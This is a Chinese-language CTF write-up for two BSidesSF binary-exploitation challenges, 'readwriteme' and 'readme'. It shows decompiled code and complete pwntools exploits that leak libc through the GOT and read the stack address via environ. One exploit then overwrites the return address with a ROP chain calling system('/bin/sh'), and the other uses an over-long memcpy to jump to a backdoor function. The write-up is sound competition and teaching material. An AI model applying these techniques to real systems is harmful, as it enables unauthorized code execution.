嗯嗯,虽然都已经学了很久的堆,堆题都做不少了,但这次比赛属实是有点没时间打,所以只做了三道简单的栈题,其中第一道有些过于简单了,所以就不再写,这里写一下后两道。其实也不是为了写答案,主要是为了分享一下我出错的地方。

readwriteme

首先是readwriteme

图片
可以看到,这里是几乎没有开保护的

丢进ida里看一下

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
int __fastcall main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // ebx
  int v4; // eax
  char v6[32]; // [rsp+10h] [rbp-190h] BYREF
  char nptr[32]; // [rsp+30h] [rbp-170h] BYREF
  char s[32]; // [rsp+50h] [rbp-150h] BYREF
  _BYTE dest[268]; // [rsp+70h] [rbp-130h] BYREF
  int v10; // [rsp+17Ch] [rbp-24h]
  void *buf; // [rsp+180h] [rbp-20h]
  unsigned int j; // [rsp+188h] [rbp-18h]
  unsigned int i; // [rsp+18Ch] [rbp-14h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  puts("Instructions:");
  puts("* Send 'r' (read), 'h' (read in hex), or 'w' (write), followed by a newline");
  puts("* Send a 64-bit offset (in hex), followed by a newline");
  puts("* Send a 32-bit length value (in hex), followed by a newline");
  putchar(10);
  puts("If reading, exactly (length) bytes will be printed (no newline or anything)");
  puts("If reading hex, exactly (length) bytes will be printed as hex (ending up at length*2 size)");
  puts("If writing, send exactly (length) binary bytes and they will be written to the offset");
  putchar(10);
  puts("Note: this does respect memory protections (ie, you can't write to code sections)");
  putchar(10);
  puts("GO");
  fflush(stdout);
  while ( fgets(s, 32, stdin)
       && (s[0] == 114 || s[0] == 119 || s[0] == 104)
       && fgets(nptr, 32, stdin)
       && fgets(v6, 32, stdin) )
  {
    buf = (void *)strtoll(nptr, 0, 16);
    v3 = strtol(v6, 0, 16);
    switch ( s[0] )
    {
      case 'r':
        v4 = fileno(stdout);
        write(v4, buf, v3);
        break;
      case 'h':
        memcpy(dest, buf, v3);
        for ( i = 0; i < v3; ++i )
          fprintf(stdout, "%02x", (unsigned __int8)dest[i]);
        fflush(stdout);
        break;
      case 'w':
        for ( j = 0; j < v3; j += v10 )
        {
          v10 = fread((char *)buf + (int)j, 1u, v3 - j, stdin);
          if ( !v10 )
            exit(0);
        }
        break;
      default:
        goto LABEL_22;
    }
  }
LABEL_22:
  puts("Good bye!");
  return 0;
}

逻辑清晰简单,甚至任意地址写和任意地址读都甩你脸上来了…
那我们完全可以“为所欲为”

我最开始想的是,先读取got表泄露libc地址,算出system地址,再用“/bin/sh”覆盖“Good bye!”用system地址覆盖puts的got表,最后随便输入一个错误指令触发最后的这个puts就可以了。

结果最后这个字符串的地址没有可写权限…

然后我又发现h功能会把要读的数据先存到dest数组里再读取,所以我就想找个可写的地址,把“/bin/sh”写进去,再用system地址覆盖memcpy的got表,这样再进h功能就可以了。于是我把“/bin/sh”写到了.bss段,结果在本地打通了远程死活不同…(貌似是卡在写入的步骤里了,远程环境好像这几个地址都不可写)

无可奈何之下,我选择实用最纯粹的力量!environ!

先简单介绍一下,environ是libc库里存的,指向栈的指针(我就不信栈还不能写了),所以我们这里在泄露libc之后,算出environ的地址,再read出environ的值(需要注意的是,使用前,请先用gdb调试一下,确定environ与你所需要的指针的偏移,再进行利用)。随后我们就可以直接构建ROP链覆盖返回地址了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
io = remote('readwriteme-10fb812e.challenges.bsidessf.net',4445) # 或 process
#io=process("./readwriteme")
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
libc=ELF('./libc.so.6')
elf=ELF('./readwriteme')
puts_addr=0x404008


io.sendlineafter(b'GO\n',b'r')
io.sendline(b'0x404008')
io.sendline(b'8')
leaked = u64(io.recv(8))
print(hex(leaked))
libc_base = leaked - libc.symbols['puts']
print('libc base:', hex(libc_base))
system_addr = libc_base + libc.symbols['system']
environ_addr = libc_base + libc.sym['environ']

ret_addr=0x26e99+libc_base
pop_rdi_addr=0x277e5+libc_base
binsh=0x197031+libc_base


io.sendline(b'r')
io.sendline(hex(environ_addr).encode())
io.sendline(b'8')
stack_addr=u64(io.recv(8))
print('stack_addr:',hex(stack_addr))

s_addr=stack_addr-0x278
ret=stack_addr-0x120
io.sendline(b'w')
io.sendline(hex(ret).encode())
io.sendline(b'0x20')
io.send(p64(pop_rdi_addr)+p64(binsh)+p64(ret_addr)+p64(system_addr))
#gdb.attach(io)


io.sendline(b'x') # 非法命令
io.sendline(b'0')
io.sendline(b'0')

io.interactive()

readme

分析

这题和上一题没什么太大区别,少了个写的功能,多了个后门函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
int __fastcall main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // ebx
  int v4; // eax
  char v6[32]; // [rsp+10h] [rbp-180h] BYREF
  char nptr[32]; // [rsp+30h] [rbp-160h] BYREF
  char s[32]; // [rsp+50h] [rbp-140h] BYREF
  _BYTE dest[256]; // [rsp+70h] [rbp-120h] BYREF
  void *buf; // [rsp+170h] [rbp-20h]
  unsigned int i; // [rsp+17Ch] [rbp-14h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  puts("Instructions:");
  puts("* Send 'r' (read), 'h' (read in hex), or 'w' (write), followed by a newline");
  puts("* Send a 64-bit offset (in hex), followed by a newline");
  puts("* Send a 32-bit length value (in hex), followed by a newline");
  putchar(10);
  puts("If reading, exactly (length) bytes will be printed (no newline or anything)");
  puts("If reading hex, exactly (length) bytes will be printed as hex (ending up at length*2 size)");
  puts("If writing, send exactly (length) binary bytes and they will be written to the offset");
  putchar(10);
  puts("Note: this does respect memory protections (ie, you can't write to code sections)");
  putchar(10);
  puts("GO");
  fflush(stdout);
  while ( fgets(s, 32, stdin)
       && (s[0] == 114 || s[0] == 119 || s[0] == 104)
       && fgets(nptr, 32, stdin)
       && fgets(v6, 32, stdin) )
  {
    buf = (void *)strtoll(nptr, 0, 16);
    v3 = strtol(v6, 0, 16);
    if ( s[0] == 114 )
    {
      v4 = fileno(stdout);
      write(v4, buf, v3);
    }
    else
    {
      if ( s[0] != 104 )
        break;
      memcpy(dest, buf, v3);
      for ( i = 0; i < v3; ++i )
        fprintf(stdout, "%02x", (unsigned __int8)dest[i]);
      fflush(stdout);
    }
  }
  puts("Good bye!");
  return 0;
}

图片
这里我发现最开始输入指令的时候,他是用了一个32字节的数组的,而且程序只检查第一个字节,所以我们完全可以再多输些别的东西,比如后门函数的地址0x40148c。

然后,让我们看到这个h功能中的memcpy函数,它覆盖的长度是完全由我们控制的,所以我们完全可以利用它来让0x40148c覆盖返回地址,而根据上一道题,我们已经可以利用environ拥有栈指针了,所以我们可以让memcpy从储存后门函数地址的栈地址-0x128的地方开始读取,这样就可以覆盖掉返回地址了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

host='readme-02de52b5.challenges.bsidessf.net'
port=4446
io=remote(host, port)
#io=process('./readme')

libc=ELF('./libc.so.6')


io.sendlineafter(b'GO\n',b'r')
io.sendline(b'0x404008')
io.sendline(b'8')
libc_base=u64(io.recv(8))-libc.symbols['puts']
print('libc_base:',hex(libc_base))
environ_addr = libc_base + libc.sym['environ']
io.sendline(b'r')
io.sendline(hex(environ_addr).encode())
io.sendline(b'8')

stack_addr=u64(io.recv(8))
print('stack_addr:',hex(stack_addr))
s_addr=stack_addr-0x268

io.send(b'h\x00'+b'a'*6+p64(0x40148c)+b'\n')
io.sendline(hex(s_addr-0x120).encode())
io.sendline(b'0x130')
#gdb.attach(io)
io.sendline(b'x')
io.sendline(b'0')
io.sendline(b'0')
io.interactive()